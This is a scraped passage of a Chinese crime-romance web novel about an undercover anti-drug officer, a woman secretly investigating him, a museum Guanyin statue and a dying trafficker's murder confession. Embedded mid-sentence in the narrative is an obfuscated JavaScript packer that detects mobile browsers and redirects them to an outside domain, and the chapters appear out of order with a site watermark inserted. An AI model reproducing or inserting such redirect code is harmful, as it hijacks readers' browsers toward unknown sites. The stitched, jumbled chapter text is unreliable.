沈宗野望着衣服的照片点点头,甜筒在他指上转动了一个方向,他吃着不算甜腻的冰,那么慵懒自然地随口一问:“你还拜观音?” “也不是,最近太倒霉了,我想拜拜观音菩萨,请一尊神像在办公室供供。”梁然没再看衣服了,问沈宗野:“你平时拜观音吗?” “我不信神佛。” 梁然“哦”一声。 “但对观音像也有些了解,你求平安,或者是财?”沈宗野说,依旧是极闲恣的姿态。 梁然点头,红唇上扬的弧度是她无声的胜利。 沈宗野上钩了。 “我可以帮你斟酌。”沈宗野伸手,示意梁然将刚才那张观音照片给他看。 梁然点开相册递到他手上,照片停留在刚才那张观音像上。看起来是铜制的雕像,含笑提着一个鱼篮,观音的五官明明跟许多观音像一样慈悲,但不知道为什么,这尊观音仿佛有一股特殊的能量,菩萨的笑脸能让人一眼就平静下来。 沈宗野的心也忽然在这普度众生的眉眼里一点点变得宁静。 最近这两个月他替董自新找过很多观音像,但没有一尊能像此刻这尊观音的眉眼。 他觉得就是这尊观音像了,董自新那里一定不会再回拒他。 “允许你前后翻几张。”梁然说。 沈宗野往左滑动,是一尊站在莲花台上的观音。 他再往前滑,是手持杨柳枝的杨柳观音。 …… 这些观音像的眉眼都很慈悲,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936074|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有哪一尊像刚才那尊鱼篮观音一样拥有瞬间净化人心的神奇力量。 沈宗野再往前滑动,照片已经不是观音像了,是梁然的一张自拍。 她穿着清爽利落的棒球服,戴一顶白色棒球帽,头发编成双马尾搭在肩膀上。自拍的照片面部带着潮红和汗水,嘴唇是那种气血很好的粉红色,看起来是运动后拍的,有种青春朝气的漂亮。 沈宗野说一句“抱歉”,往回滑动,停留在那张铜身的鱼篮观音上。 他看了差不多十几秒,往右滑动想从这里翻看下一张,结果差点把手机摁灭。 又是梁然的照片。 不是自拍了,而是对镜拍。 照片里的梁然穿着一件酒红色睡裙,吊带和睡袍挂在手臂上,偏头露出抿唇的侧脸,精致漂亮。她脖颈修长,锁骨分明,浴室的顶灯将那一片起伏的皮肤照得透白。 这张照片极具春光乍泄的美感,有种半遮半掩的引诱。 沈宗野也算在案卷上见过很多,看那些是办案子,此刻也是在办案。 他一秒入戏,舌尖舔舐过口中不算甜腻的冰,微抬下颔倚在沙发上,带着攻击的视线极具穿透力,略染了笑睨向梁然。 他的眼睛幽深,性感,充满了被挑逗的野性。 而原本觉得自己十分有心机的梁然没有沈宗野这么淡定了。 两张照片本来是她刻意安排的,可当他真正第一次用这种充满兴趣的眼神看向她时,她承认她有些没接住这个眼神。 她稍显不解地从沈宗野手上拿过手机一看。 “你翻我相册!” “我以为是你给我看的。”沈宗野难得露出无辜的戏谑。 梁然任由脸颊微微的烫意扩散,摁灭屏幕如常地问他:“观音菩萨都看完了,你有什么建议?” “几尊观音像看下来,推荐你供奉后面这尊鱼篮观音。”沈宗野也恢复如常。 “哪个?”梁然重新把手机给他。 沈宗野接过手机。 画面还停留在梁然的那张对镜自拍上。 沈宗野微抿薄唇,深邃的眼眸里维系着惯常的闲恣。他划走这张照片,拇指落下的瞬间,屏幕升起微烫。 “这张。” 梁然凑近看了眼:“你和我想的一样,我不懂观音,但就觉得这个菩萨的眉眼好慈悲,好像我妈妈,这么说不知道算不算冒犯。我很喜欢这个观音菩萨。” “你好像真的比我懂的样子,那能不能帮我现场把把关?” 梁然昂起漂亮的眼睛,她有一双清醒时诚恳又诱惑的眼眸。 店里的背景音乐在尾声里停止,安静片刻后换成了优美的钢琴曲,竟是《MyHopeIsYou》,梁然留学时无数次在自习室里循环播放的音乐。那时她没有灵感,任由每个音符肆意跳动在她空白的图纸上,灵魂在这首音乐里放空着,又重复着降落地面。 两对年轻靓丽的情侣取了餐坐到他们后排,分享着各自喜欢的味道,音乐声和他们的谈笑声让气氛变得鲜活。 这种气氛仿佛感染到他们这里。 梁然仍认真地等待着。 沈宗野似乎是想了片刻,然后说可以。 梁然弯起唇角。 他果然上钩了。 她说:“但我查了这尊观音菩萨不在这儿,好像在阳城的博物馆。” “阳城?从这里开车应该一两个小时,也不算远。”沈宗野说:“那衣服不赔你了?” “也行吧。” “走吧。”沈宗野说:“正好我办公室也缺一尊观音像。” 梁然只是笑笑。 他的奸滑与拒绝好像也不过如此。 但是幸好,他终于走进她铺的网了。 17. 第 17 章 阳城是宁省一座不算繁华的小城,开车不到两个小时。 谢天明当着司机,载着梁然和沈宗野行驶在高速上。 车上大家无话,谢天明播放出音乐,和沈宗野偶尔聊一些无关痛痒的话题。 梁然一路看着车窗外笔直的树木,随口问沈宗野:“你来过阳城?” 沈宗野坐在副驾驶,他在回云肖的微信,摁灭屏幕淡淡说:“没来过。” 梁然“哦”了声,又看了会儿窗外的风景:“你不是说不信这些吗?” 沈宗野瞥一眼后视镜里的梁然,一如既往的语气:“求财求平安么。” 梁然笑了下,抿了抿唇闭眼靠着椅背:“我睡一会儿。” 沈宗野并没有因为她闭目养神而安静不打扰。 他回着谢天明的话,两个人有太多默契,根本不需要提前约定,知道要开始表演了。 谢天明说起他们颜料网店的生意,然后切入到库房的事。 “弄在滨江会不会太偏了?” 沈宗野:“不偏。” “你觉得他们会找去滨江吗?” 沈宗野冷笑:“除非他们的狗养到我身边来了。” 两人继续演戏。 “这次应该安全吧,这批货要存多久啊?” “回去再说。”沈宗野语气淡然。 谢天明开着车,不到一首歌的时间又问:“这趟要真找对了,董叔这次应该不会拒绝咱们了,那边势力越大,我们横插一脚的动静也就越大,别到时候……” “生意上的事回去再谈。” 沈宗野打断谢天明,取出一支烟在鼻端轻嗅。他淡淡睨一眼后视镜里的梁然,声线低沉:“别让她听见。” 谢天明低低说一声“明白”,把背景音乐稍微调大了,不再谈论这些。 两个人的配合天衣无缝,故意演给梁然这个死对头的监控听。 关于梁然这个“监控”的身份已经被云肖坐实了。 这两天沈宗野派云肖去查,云肖查到梁然早在好几年前就认识向邬道。 向邬道有个手下叫赵诚,因为昧了向邬道的货偷出去交易,被向邬道卸了条腿逃回老家。 云肖找到赵诚,他在照片上一眼认出梁然,毕竟梁然实在太漂亮了,太有辨识度。他说梁然的姐妹是向邬道那时候的女朋友,不过女朋友也只是向邬道随便玩的有钱富家女。向邬道当时本来想泡梁然的,具体后面泡没泡到他就不清楚了,他是在那个时候从向邬道身边逃走了。 云肖又换了别处查,但暂时没有别的渠道能查到梁然更多的信息。只打听到她是个建筑设计师,没什么名气,在网上搜索梁然的名字也查不出她什么作品。 可她那么早就已经认识向邬道,这是铁板钉钉的事。 汽车急速行驶在高速公路上。 副驾驶的空间不够大,沈宗野的长腿无法舒展,他倚着靠背睨向后视镜里闭目睡觉的梁然,香烟在他指尖绕动。直到一抹烈阳穿透车窗照进整个车厢,刺眼的光芒射来,后视镜中梁然的眼皮忍不住跳动了两下。 沈宗野忍不住勾起笑,薄唇微微一抿。 谢天明也看到了,还行,后视镜里的梁然还知道自己眼皮动了,假装翻了个身,侧到另一边继续闭眼装睡。谢天明也勾了下唇角,继续悠哉开车。 沈宗野收纳着后视镜里这拙劣的演技,他还算配合,调小了音乐音量。 其实想一想,如果云肖没发现她是向邬道的人,她此刻的演技应该算不得拙劣的。 毕竟医院外的那个雨夜,她的表演就已经炉火纯青到骗过了他。 梁然没睡太久,他们不再交谈后她便自己醒过来了。 沈宗野说:“下高速了。” “这么快。” “嗯。” 到了阳城博物馆,谢天明将车停好,沈宗野先从副驾驶下来,也许是不用再给梁然赔衣服了,他态度好了很多,亲自为梁然开了车门。 谢天明没下车:“我不爱逛博物馆,没细胞。我在车上玩把游戏。” …… 沈宗野和梁然走出停车场。 阳城不繁华,博物馆也算不得宏伟。雕刻着“阳城博物馆”鎏金字的建筑坐落在蓝天下,展馆外形为仿古设计。 他们穿过博物馆前的广场。烈日当空,虽然气温很高,但两旁绿树成荫,不少老人围坐在树荫下的花坛旁下象棋,笑谈声起伏热闹。 这里没有那种著名景点拍照打卡的成片游客,四周是一股悠闲宁静的慢格调。 博物馆门前有一条窄浅的人工河渠,水面横跨着一座矮桥,桥头的木牌上刻着几个字:风雨平安。 沈宗野和梁然迈上台阶,水里的锦鲤被惊动,摇着尾巴游啊游,躲到了水底。 两个人谁也没说话,走到大门时刷了身份证进入。 进了大厅,周围很安静,一楼没什么人和展馆。 梁然望着宽大的旋转楼梯说:“好像从二楼开始逛?” “嗯。”沈宗野走向楼梯,安静的空间里,他压低的声线格外富有磁性:“你查过在哪个展厅么?” “没有,我们找找看吧。” 两个人从第一个展厅开始参观。馆内的展品大多按历史年份先后排序,从战国到清民,一直走完全部的展厅,两人都没有看到那尊观音像。 沈宗野看不出什么失望,英隽的脸上淡然依旧。 梁然倒有些小失落:“我真挺喜欢这尊观音菩萨的,我们再逛一遍吧?”她问沈宗野。他有一米八几高,梁然只能抬头看他。沈宗野有着完美的脸型骨骼,下颌轮廓分明,淡声说“好”时,脖颈间喉结清晰地滚动。 两个人没什么观览文物的兴致,都在找照片上的观音雕像。 展馆里人渐渐多了起来,馆内依旧很安静,参观的游客也都保持着礼貌小声的分贝。 梁然忽然停在一处屏风文物前。 沈宗野也敷衍式地回头看她一眼,停在他看的一尊明代铜千佛板前等梁然自己跟过来。他们相隔十米,在展厅内属于远的距离。而梁然仰头看眼前的屏风入了神,并没有打算跟上他。 沈宗野转身穿过一排排文物朝梁然走来。他并不介意配合她,这场各自都在表演的伪装里,他可以随时迁就梁然,或者随时不迁就。 “这扇屏风好有意思啊。”梁然望着玻璃背后的屏风说。 沈宗野看了眼,是扇清代的屏风,标注展牌上印着“清王尔烈七十寿屏”,整个屏风有九扇,独占了很大一个展览空间,沈宗野也觉得有些震撼。屏风上有126幅字画,不管是山水还是文字,每幅画展露的都是一个“寿”字,全为乾嘉时期的名流学者所著。 “这么有心意的生日礼物我好喜欢,不知道我过七十大寿的时候能不能收到。”梁然说。 沈宗野淡淡抿唇,有些异想天开的低嘲。 梁然望着他:“我怎么有种错觉,觉得你会送我这个七十大寿的礼物。” 沈宗野薄唇微挑:“你说了,是错觉。”他转身走向别的展厅。 梁然跟上他,忽然停在一处展品前喊出沈宗野的名字。 她的声音有些激动,也满是惊喜,展馆里的游客被打扰到,但也只是看了她一眼便继续正常参观。 沈宗野已经在这一声里走过来,即便是在这种时刻,他的神态依旧镇定到无懈可击。 梁然大喊他,是因为发现了手机上的那尊观音像。 铜鱼篮观音。 注解下的小字标注是由某某收藏企业提供外借展出。 梁然双手抚在玻璃保护罩上,回头 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梁然:“大概什么时候能做好?” “不清楚,快就几天。” 两个人没再说话,也没再继续逛下去,回了停车场。 梁然坐进车厢。 谢天明从驾驶座下了车,问沈宗野要不要买烟,又问梁然要不要喝水。他和沈宗野穿过马路走去一家便利店。 傍晚的太阳不再那么刺眼,阳光透过摇曳的树枝漏下,沈宗野站在树下抽了一支烟。 谢天明问:“找到了吗?” “嗯,这次应该错不了了。” 谢天明笑起来:“可以啊,赶紧回去找个手雕师傅弄出来!”他看了眼对面黑色汽车里梁然的影子,“她还真给找到了,乌鱼这招我没看懂?” “姓向的想打开东南亚的市场,他肯定有别的方法打动董自新。” 沈宗野沉思着,他们和向邬道不一样,专案组在七个月前才查出向邬道这个人,在这之前,向邬道只是他们抓获的小毒贩口里那个没级别接触到的老大。这个案子错综复杂,毒贩关系网也暂时无法摸爬清楚。他只能猜测向邬道是有别的途径求得董自新的帮助,所以才愿意把观音像这种小事交给梁然,让梁然获得他这边的信任。 沈宗野瞥了眼车窗依稀遮掩的身影,摁灭没抽完的烟朝车走去:“现在走一步看一步,先上车吧。” 回到车上,他把一瓶苏打水递给梁然,依旧坐在副驾驶。 回程的车上一路无话,梁然也是真的有些困了,不知道是不是博物馆里空调太凉,刚才喝的苏打水又是冰的缘故,她的偏头痛又隐隐发作,靠在车窗上睡着了。 醒过来时,窗外的路灯已经亮起,夜空蒙着夕阳最后一层薄辉,将灭未明,恍惚有种分不清白日与黑夜的失觉。 梁然刚想看时间,车厢里响起沈宗野低沉的嗓音:“你醒了。” 她这才发现是沈宗野坐在驾驶座,谢天明已经不在车上。 “姓谢的帅哥呢?” “有事去办了。” “这是哪儿啊?”街道有些陌生,看起来还在路上,只是不知道沈宗野什么时候下的高速。 “一个小海滩,还没到市里。” 梁然看了眼时间,已经晚上七点半了。 沈宗野说:“先在附近吃个饭吧。”他找了车位将车停下。 晚风吹得街道两旁的树木沙沙响,长街尽头是一片海,岸边远远亮起露营的灯光。 沈宗野朝那里走去。 梁然没来过这里,偌大一个东北省城,海景同样很漂亮,梁然住的区域没有海,这里应该离顾儒海的酒店还有几十公里。她没犹豫,跟上沈宗野的脚步。 第20章【VIP】 第20章 第20章爱上她 离开沈宗野的公司时,梁然被他开车送回酒店。 她的车还停在「云上人间」,沈宗野说会让人替她开过来。 回到酒店房间,梁然走进浴室望着镜子。 镜子里的人漂亮、冷静,白皙的皮肤下透着一层潮红。那当然不是因为和沈宗野接吻所致,是她压抑的激动与仇恨。 梁然望着镜子很久,眼里的仇恨那么浓烈,她看着饱满而红的嘴唇,无所谓地笑了笑,低头拧开水龙头,挤满牙膏刷了两遍牙。 …… 北方的夏季过得太快,初秋的夜晚气温格外凉。 沈宗野回到公寓,打开房门的瞬间,晚风从阳台穿过,对流的冷风卷落桌子上的薯片袋子。 谢天明捡起掉落在地上的几片薯片炫进嘴里,一点不介意干不干净,关好阳台的窗。 沈宗野径直走进卫生间。 谢天明问:“怎么样?” 沈宗野没回答,先漱完口才说:“还能怎么样。”将牙刷丢进漱口杯,他对镜子洗了把脸。 谢天明靠着门吸手上的AD钙奶,忍俊不禁:“洁癖这么重啊,人家是美女。” 沈宗野没说话。 “想想咱牺牲还蛮大的。”谢天明一本正经算账。 沈宗野拉了下衬衫闻,依旧是最初遇到的那股冷清的花香气,但如今香气也变得恶劣起来。 他回房间换了衣服,将衬衫丢到洗衣机:“去看过老万了?” “我没能进屋,他小弟说他情绪很不好。” 沈宗野眸光一深。 第二天,云肖说车子已经给梁然开回去了,都安装好了。 沈宗野打开云肖分享过来的一个程序,地图上,梁然的坐标开始从酒店一点点变动,停在一家粤式早茶店。 他点开音量播放,传来一声关门声和锁车的声音。 他在梁然的车上装了定位和监听器。 摁灭手机,沈宗野出门去看老万。 一院对面这栋楼住了很多外地来看病的人,大部分都是癌症病人。老万的三楼却少有人至,老万忌讳生人,把整个三楼租下来了。 开门的是老万如今唯一一个跟在身边照顾的小弟,姜义。 见是沈宗野,姜义才开门让沈宗野进去。 姜义和沈宗野同样的年龄,体格高挑健壮,五官端正,看外表绝对看不出是个心狠手辣的毒贩。老万说姜义是他的刀,也是他绝对信任的人。 沈宗野走进客厅问:“万哥这几天怎么样?” “不太好。” 姜义是忌讳沈宗野的,一方面因为毒贩惯有的疑心,一方面更是因为老万这些年积攒的财富和人脉。但对老万这件事上,他还是很尊敬老万,没有为难过沈宗野。 他看了眼卧室紧闭的门,低声说:“主治医生说癌细胞已经扩散到肺部了,万哥他很痛苦。” 沈宗野来到卧室门口,姜义敲门说:“万哥,沈宗野来看你了。”没听到拒绝,他打开了房门。 沈宗野走进房间。 卧室地上铺满了人民币和金条,大床上也全是人民币和缅元。 床上的中年男人面黄肌瘦,腹部却因为腹水鼓得很大。他躺在一堆人民币上,手里抓着几根金条,枕头边是氧气瓶。 上次沈宗野来时,还没见老万到吸氧的地步。 老万叫李万金,是老单察觉自己要倒台后叮嘱沈宗野来投靠的中间人,老单希望老万把沈宗野介绍给董自新,倒不是因为老单有多器重沈宗野,而是想让沈宗野为他报仇。 沈宗野找到老万时,他才刚刚检查出肝癌中晚期,一边化疗一边等着肝源移植。 可两个月的等待,如今病情越来越重,上周沈宗野过来时,姜义告诉他如果再没有合适的肝源,老万的身体就没有换肝的必要了。 “随便坐,你坐那堆金条上。” 老万蜷着枯瘦的身体,冲沈宗野咧嘴笑,他的笑很僵硬,皮包骨的五官也透着一种恐怖。他说:“没坐过这么多金子吧?哈哈哈!” 沈宗野坐到老万说的位置,笑了笑:“没坐过也没赚到过。” “你才二十五岁,还有机会赚。我二十五岁的时候已经在孟邦修起别墅了,那会儿是我走货赚的第一桶金。” 老万从身下人民币里坐起身,抛给沈宗野一根金条:“猜猜多重?” “五百克。”沈宗野凌空接过。 老万哈哈笑,说“真准”。他一边抓过氧气瓶吸氧,一边和沈宗野说起年轻时那些事。 沈宗野把带来的保温盒放到老万床头。床头柜上摆满了散乱的百元钞票和缅元,绿色保温盒也只能放在那些钞票上。 “给你带了点药膳。” “吃不下。”老万摇头,“全身都痛啊。” 沈宗野:“中药炖的,喝点吧。” 老万这才慢慢吞吞去接食盒。 姜义一直在门口看着,如今对沈宗野也算放心,他说:“你帮我看一会儿,我去医院拿个报告。”他又嘱咐老万有事就给他打电话,他马上就回来。 沈宗野拽了把椅子坐到老万床前。 保温饭盒里是大鱼炖的粥,加了好几味肝癌病人有益的中药。 老万勉强喝了几口:“感觉浑身都有劲了。”他抬头,黄疸让整张脸都泛着黯黄,他哈哈笑着,“这劲儿都能玩个女人了。” 沈宗野陪他抿了抿笑。 “你玩过多少女人啊?我都数不清了。”老万陷入了回忆里面,说起他年轻的时候玩过的那些女人。 沈宗野听着这些肮脏污秽的语言,他办案时听过很多,但都没有老万这个快死的癌症患者这么肮脏罪恶。 他没证据抓捕老万。 接触的这两个月,老万也是半个月前才对他建立起信任。 老单说老万是只十分狡猾的狐狸,贩毒的这些人谁没几条命案,但老单从没杀过人,把贩毒藏起来他就是个干干净净的公民,警察根本查不到他一点犯罪记录。 沈宗野原本想在老万死之前查到他一些罪证,上回有一点线索,他在附近蹲守了一个星期还是没任何收获。 老万还说着女人,眼神忽然慢慢黯下来,望着满屋子的钞票和金条:“突然后悔了,没个孩子。” “要是有个孩子,现在他是不是得在我跟前尽孝啊。我挣的这么多钱也都能给他。”老万的表情痛苦懊恼,“要是当年没弄死那个娃娃就好了。” 沈宗野心上一动。 他眸光依旧,如常低笑:“单哥说你可没人命,手上干干净净,要我跟你学。” “谁说我没有,我弄死了个娃娃。”老万笑着比划,“这么大,两个月的男婴!本来是我儿子。” 沈宗野如常地把饭盒给老万:“再喝点吧。” 他当然想继续挖下去,他正愁没有老万犯罪的线索。但他始终很冷静,仿佛这种杀人的事情听来已经是寻常便饭。 老万推开饭盒,见沈宗野没有任何波动,他急切地说:“说不准他真的是我儿子!” 他果真说起这段往事。 年轻时他让一个足疗妹怀孕了,虽然都是逢场作戏,但对孩子也算期待,给人请了保姆养胎,对那女人也没亏待。 “老子给她花不完的钱,她要金子老子就买金子,大冬天要吃雪糕,老子就喊手下给她买雪糕,她弟结婚要彩礼,老子给彩礼。她老娘,她爸,她妹,她一家五口人老子都给她养起来了,但她妈的背着我养男人!拿着我的钱养男人!” 老万说那女人怀孕的时候他就在院子里看到了那个男人,女人解释过去了。 后面儿子生下来,女人就要他给一笔坐月子的钱,老万有了儿子倒很爽快,当时给了很大一笔,但女人话里话外说钱不够。老万起了疑心,设了个局,才知道女人带着小白脸要跑。 “老子不会给别人养儿子!敢骗我,她真是在找死!我弄死了她一家五口,还有那个野男人,还有那个娃娃。我亲手弄死的,五十克冰,哈哈都没哭几声。”因为激动,老万喘息了好久,抬起狞笑的脸,冲沈宗野数手指,“七个人,七条人命。” “真他妈晦气,让老子手上沾血。” 沈宗野勾起薄唇笑了。 无数次面对毒品的阴暗面,无数次接触罪恶的亡命之徒,他从不敢松懈于这条隐蔽线上的一环一扣。他的眼底充斥着嗜血的兴奋,仿佛嗅到了同类的气息,微微俯身离老万更近,薄唇边的笑都是赞许。 “看不出来我的老哥哥,死了就死了,你身体要紧。” “可我没有儿子。”老万扭曲的笑容变得很痛苦,仿佛终于懂得了忏悔,“也许那真的是我的儿子,这些年我玩了那么多女人都没再有过孩子。” 沈宗野安慰他,想了想说:“别去想了,如果实在觉得有什么机缘,找个会看的先生给超度吧,认到你名下,也攒点福报。” 老万一愣,紧望沈宗野的眼神激动而雀跃,仿佛这真的是一个极好的方法。 可他忽然逐渐冷静,笑了笑说无所谓,拿过氧气瓶吸氧。 沈宗野不动声色留意老万的举动。 老万放下氧气瓶,说回沈宗野:“董自新接受你了?” “还没有。”沈宗野挺无奈,“他家老太太的观音像我倒是找到了,董老板只是对我客气了些,没进度。” “董自新这个人这么多年藏得干干净净,他不会平白无故让你一个陌生人知道他不干净。”老万说:“等着吧,你只要让他信任你,他会给你机会。” “万哥,那我接下来应该做什么?”沈宗野认真地问。 “什么也不做。”老万说:“我现在没那么大面子了,他能见你也算给了我脸面,我也只能帮你到这儿。” “别这么说,你的恩情我记心里了。” 老万笑:“那以后记得多给我烧纸。” 沈宗野多么惋惜,同情。目光流连在老万枯瘦的脸上,那么不忍:“会有肝。源的。” 老万不想接这句话,望着沈宗野,目光从头扫到脚,不太赞同。 沈宗野的穿着没什么异常,跟往前的风格一样。他今天穿一件条纹衬衫,丝滑的哑光缎包裹着喷鼓的肌肉,领口纽扣没有系,露出泛着冷光的铂金项链。因为周身难掩的冷戾,他看起来是十足的不好惹。 老万说:“你穿这身不行,换个行头吧。董自新那儿干干净净,身边也都是干净人。” 沈宗野恍然大悟般:“我知道了,万哥你是我恩人。” 老万笑笑。 姜义还没取回医院报告,沈宗野搀扶老万起来活动,两个人坐在阳台又聊了会儿董自新,直到姜义回来。 沈宗野起身要走。 老万望着楼下车流穿梭,人来人往。那些人都健康地行走在阳光下,没有疾病,浑身充满了生命的活力。他忽然埋下脊梁哭了起来,暗哑的哭声像儿童的嚎啕大哭。 沈宗野和姜义安慰了好久。老万止不住这种哭泣,这种面对死亡的哭泣。 “我想活着,我还有那么多钱,我还不到五十。” “老天爷为什么要这样对我?我想活,我不想死……” …… 从老万那里出来,沈宗野开车来到公司。 大鱼端着新学的甜点想让他尝,沈宗野没空招呼,接过盘子说:“天明呢?” “在仓库发货呢,肖哥玩了个直通车,今天咱生意不错。” “让他来见我。” 沈宗野回到他的办公室,关掉了屋里的监控。 手机上有新的消息提示,是梁然两个小时前发的微信,他一直没看。 Zahe:「你在忙吗」 「宁城的秋天好早啊,今天好冷~」 「沈宗野,我来找你吧,你在公司吗?」 这句话是梁然十几分钟前发来的。 沈宗野打开追踪器的小程序,看清她今天所到的坐标,他眼底一片冷意,薄唇上却挂着淡笑。 梁然去了向邬道的那个红酒店。 沈宗野回复梁然:「在公司,你想来就来」 谢天明和云肖同时过来了。 云肖说:“哥,梁然今天去了乌鱼的地盘,你看没看定位软件?” 沈宗野点头。 云肖眼底全是戾气,也咬牙冷笑。 沈宗野说:“当做不知道,你先去忙吧。” 云肖走后,谢天明望着沈宗野严肃认真的表情,猜到不寻常。他看了眼电脑上的监控视频,云肖已经走下楼梯,回到一楼。 谢天明这才将门关上,问:“有线索?” “有老万杀人的线索。”沈宗野嗓音低沉,目光从始至终停留在监控画面上。他的电脑连着整片区域的监控,能随时确定谈话不被偷听。 他把在老万那里的线索说完,十分谨慎地对谢天明说:“这几天你要留意老万和姜义的一举一动,公司这边就不用过来了,希望我们真能翻出他们犯罪的证据。” 他在老万那里有意说出迷信玄学,自然是希望老万能听进去。如果老万真走这一步了,那他们也能顺藤摸瓜找到线索。 老万的身体一天天恶化,沈宗野并不希望这样一个罪恶滔天的毒贩就这么死了,即便是死,他也应该是被法律审判制裁。 谢天明点点头:“那我等下就去。有董自新的进度吗?” “没有,老万要我等,什么都不做。” “什么都不做,咱就干等着?”谢天明有些憋屈,“我们已经等了两个多月了!每天都在吃喝玩乐!” 沈宗野抬眼睨向谢天明。他也不想每天扮演着吃喝玩乐,但缉毒没有捷径,毒贩在阴暗处,阴暗可以掩饰一切罪证,也能制造一切罪恶。他们每一天的睁眼,看见的又哪里是光明。 如果这种吃喝玩乐能让他们与那群毒贩一样沉溺于罪恶的阴暗里,那他们在这阴暗之处的睁眼看到的就将是意义。 谢天明没有沈宗野稳重,但他是一个很完美的搭档,从来没有给沈宗野拖过后腿,偶尔的情绪也会很快平复。 沈宗野没有严肃地训斥谢天明,他只是笑了笑,知道谢天明抱怨完就会想明白,他用这种故作轻松的语气说:“也不是什么都不做,老万说咱们穿得太俗了,董自新面上干干净净,咱不能看着就不像个好人。” “我懂了!像乌鱼那样,西装革履的是不是?”谢天明的情绪去得快,找到新的方向,他的声音也有了动力,“换新装备嘛,可以可以,老万说的还真是。等我回来你给我搞套好西装!” 他说完就去着手沈宗野交代的事。 办公室安静下来,监控画面里,院子里徐徐停下梁然的白色汽车。 车门开了,一条细白的腿迈下来。 沈宗野视线从电脑屏幕上移开,重新打开办公室的监控电源。 办公室的门没有关,梁然走进来,手上拎着一个古典的袋子。 宁城的秋天来得早,今天气温格外凉,她穿着薄薄的米色风衣,长度盖到了腿肚,露出光洁白皙的小腿。风衣的材质像亚麻,微皱的质感,她穿在身上有一种素到极致的清冷高级。 沈宗野确实不明白梁然这种级别的美女怎么也会沦落到毒品里,甘心被向邬道收服。 但他从梁然的衣品上突然找了一点新思路,她的确很善于高级的伪装。 梁然对沈宗野笑了笑:“今天你很忙吗,都没有回我消息。” “嗯,上午没空。” 梁然看到桌上的盘子,里面放着一朵很漂亮的白色玉兰花:“这是甜品吗?” 沈宗野:“大鱼做的。” “我能尝吗?” 沈宗野说“随便”。 梁然刚捻到一片花瓣,边角就碎了,她很惊讶:“居然是炸的面食,我以为是真花裹的糖霜。”她吃完觉得不错,“你吃了吗?” “还没碰。” 梁然手撑在桌上,捻了一片花瓣喂到沈宗野嘴边。 “尝一下,很好吃。没想到大鱼不仅会做菜,还会做甜品,手艺真好。”她微微俯身,发梢扫着沈宗野手背。 沈宗野张唇吃了。 这种酥点太脆,残屑掉到一些在桌上,梁然用手耐心捡着。一切都很安静,窗外是工厂外道路上的汽笛声,偶尔有几声鸟叫。梁然很耐心,她的动作专注而认真,并不觉得把时间付诸在这样的小事上是浪费。 完美皮相的加持,她低头专注的眉眼有一种岁月静好的意思。 沈宗野迎合着她的演技,薄唇微挑,嗤笑她的动作,在她几次没捻起那些小碎屑时,抽了张纸巾覆上去,直接一擦,桌面顿时干净了。 他粗鲁的动作与她相比,似乎少了很多情趣。 “袋子里是什么?”沈宗野问。 “给你带的茶叶,冰岛古树生普。”梁然拿出袋子里的茶叶,是她特意去挑的。 她上午去买茶叶时,也去了一趟上次和向邬道见面的红酒店。 观音像起到作用,她想去“感谢”向邬道,或者明确一点,是想知道向邬道会再指引她下一步应该做什么。 上次她问沈宗野大拇指残疾的原因时,沈宗野说他也弄断了对方一根手指,她想到的自然只有向邬道。 向邬道在「云上人间」看到她在追沈宗野,所以想利用她的关系帮她,不,是帮他们自己的利益吧? 她不清楚向邬道为什么要这么做,但现在可以肯定的是沈宗野和向邬道是对头,而董自新可能是他们之间的一个关键人物。 向邬道利用她让沈宗野达到向董自新示好的目的,所以她想知道向邬道下一步是什么。 只要对沈宗野不好的事,那她就想去做。 梁幸均的相机里,她始终无法忘记沈宗野那双冷戾的眼睛。 可惜她到店里后向邬道不在,只有一个男人传话,告诉她“向先生说对梁小姐追求的那位男士了解不多,别的暂时没有帮到你的。您既然很喜欢那位先生,那您应该知道怎么对待喜欢的人。有机会向先生还会再来宁城旅游”。 梁然听懂了这个意思,不管有没有向邬道这个人的帮助,她都会按她原本的计划进行,让沈宗野爱上她。她知道一个罪恶滔天的毒贩没有心,即便沈宗野不会爱上她也没关系,只要能留在他身边哪怕一个月,两个月,她就有寻找他犯罪证据的机会。【你现在阅读的是魔蝎小说 moxiexs】 19. 第 19 章 观音像被沈宗野完美地复刻出来,送到梁然手上时几乎跟那天在博物馆看到的一模一样。 这是沈宗野第一次主动进梁然的包厢。 上午沈宗野在微信上说今天能把做好的观音像给梁然,她这会儿忙完工作来了「云上人间」。 这几天他们虽然没再碰过面,但梁然隔一天问一次观音像的进度,沈宗野也能回复一句,没再像从前那样不理她。 窗外已经是傍晚,云霞染红远处的天际。 包厢里只有梁然和沈宗野,桌上几道菜被梁然推到一边,空出半张餐桌,放着那尊慈悲的观音像。观音的眉眼与细节都跟博物馆看到的几乎一样,只是大小上比博物馆的大了些,更方便摆放敬拜。 梁然盯着观音,虔诚地看了好久。 沈宗野坐在她对面,他进门到现在也没有跟她打招呼,径直坐下,见她看观音出神,修长手指慢斯条理拿出烟和打火机。 他抽着烟,梁然合十手掌对观音一拜,才看向沈宗野。 “当着菩萨的面抽烟不好吧。” “如果真有神明,那菩萨应该知道我心里想什么。”沈宗野淡笑,“菩萨不会怪我。” 梁然问:“那你心里在想什么?” 沈宗野的视线落在梁然脸上,像是重新认识一般,盯着她看了很久,似笑非笑的眼底仿佛多了一种兴趣。 梁然勾起红唇,迎着他这种张扬赤裸的眼神,不再像最初那样会怵他,她倚进椅背:“还没回答我呢。” 门外忽然响起两声敲门声。 沈宗野喊“进来”,推门的是云肖。 “宗哥,咱搬得差不多了,给您的地方也大,要不要过去看看?” “仓库也妥了?” “都妥了。” “下去开车。”沈宗野将烟按灭,对梁然说:“你有事么?” “早就下班了,今晚没事。” 梁然心里隐约有些跃动,直到沈宗野问她要不要去走走,她终于可以肯定是她的观音像帮了他大忙。 她点头说“好啊”。 沈宗野起身走到门口等她。 梁然拎上包绕过圆桌,抱着观音像的盒子跟上沈宗野。 “是去哪啊?” “我工作的地方。” “哦?还不知道你做什么工作?”梁然问。 